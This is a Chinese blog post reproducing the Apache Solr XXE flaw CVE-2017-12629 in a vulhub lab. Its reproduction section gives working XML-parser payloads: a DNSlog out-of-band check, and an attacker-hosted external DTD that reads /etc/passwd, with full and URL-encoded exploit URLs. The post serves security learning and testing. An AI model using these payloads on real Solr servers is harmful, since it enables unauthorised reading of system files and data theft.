solr XML外部实体注入(CVE-2017-12629-xxe)

admin 2023年12月21日16:55:47评论33 views字数 2438阅读8分7秒阅读模式
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
  • 1、进入CVE-2017-12629环境
  • 2、启动CVE-2017-12629环境
  • 3、查看CVE-2017-12629环境
  • 4、访问CVE-2017-12629环境
  • 5、查看CVE-2017-12629漏洞提示信息
  • 6、关闭CVE-2017-12629环境
  • 五、漏洞复现
  • 1、查看core
  • 2、Dnslog检测漏洞是否存在
  • 1.获取域名
  • 2.构造payload并执行
  • 3.漏洞存在
  • 3、读取/etc/passwd文件
  • 1.构造xml文件
  • 2.启python进程开放xml文件
  • 3.构造payload
  • 4.执行payload
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2017-12629-xxe

二、影响范围

Apache Solr < 7.1
Apache Lucene < 7.1

三、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。文章来源地址:https://www.yii666.com/blog/16966.html

四、环境搭建

1、进入CVE-2017-12629环境

cd vulhub/solr/CVE-2017-12629-XXE

solr XML外部实体注入(CVE-2017-12629-xxe)网址:yii666.com

2、启动CVE-2017-12629环境

docker-compose up -d

solr XML外部实体注入(CVE-2017-12629-xxe)

在这里插入图片描述

3、查看CVE-2017-12629环境

docker-compose ps

solr XML外部实体注入(CVE-2017-12629-xxe)

4、访问CVE-2017-12629环境

访问ip+端口

http://192.168.233.128:8983/solr/#/

solr XML外部实体注入(CVE-2017-12629-xxe)

5、查看CVE-2017-12629漏洞提示信息

cat README.md

solr XML外部实体注入(CVE-2017-12629-xxe)

6、关闭CVE-2017-12629环境

复现完记得关闭环境

docker-compose down

solr XML外部实体注入(CVE-2017-12629-xxe)

五、漏洞复现

1、查看core

访问http://ip:8983/solr/admin/cores,查看有哪些core。可以看到有个core名字为demo。
这里vulhub默认就是demo,真实环境需要查询。

solr XML外部实体注入(CVE-2017-12629-xxe)

2、Dnslog检测漏洞是否存在

1.获取域名

这里使用的dnslog平台是dnslog.cn,获得的域名是57r0h1.dnslog.cn。

dnslog.cn
57r0h1.dnslog.cn

solr XML外部实体注入(CVE-2017-12629-xxe)

2.构造payload并执行

http://192.168.233.128:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://57r0h1.dnslog.cn"><a></a>'}&wt=xml

solr XML外部实体注入(CVE-2017-12629-xxe)

3.漏洞存在

dnslog平台出现解析记录,证明漏洞存在

solr XML外部实体注入(CVE-2017-12629-xxe)

3、读取/etc/passwd文件

1.构造xml文件

攻击机上写入一个可以访问的xml文件,我这里文件名字为PowerShell.dtd,文件内容如下

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

solr XML外部实体注入(CVE-2017-12629-xxe)

2.启python进程开放xml文件

在PowerShell.dtd所在目录下启动cmd

solr XML外部实体注入(CVE-2017-12629-xxe)网址:yii666.com<

键入如下命令起一个python服务

python -m http.server 8080

solr XML外部实体注入(CVE-2017-12629-xxe)

3.构造payload

构造payload如下文章地址https://www.yii666.com/blog/16966.html

http://192.168.233.128:8983/solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.116.1:8080/PowerShell.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

http://192.168.116.1:8080/PowerShell.dtd为之前创建的文件地址
由于get型,我们进行url编码,编码工具在文末给出,编码之后

http://192.168.233.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.116.1:8080%2fPowerShell.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

4.执行payload

成功读取到/etc/passwd文件

solr XML外部实体注入(CVE-2017-12629-xxe)

六、漏洞修复

升级为Apache Solr最新版本。文章来源地址https://www.yii666.com/blog/16966.html

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

来源: https://www.yii666.com/blog/16966.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

原文始发于微信公众号(白帽子左一):solr XML外部实体注入(CVE-2017-12629-xxe)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日16:55:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   solr XML外部实体注入(CVE-2017-12629-xxe)https://cn-sec.com/archives/2324344.html

发表评论

匿名网友 填写信息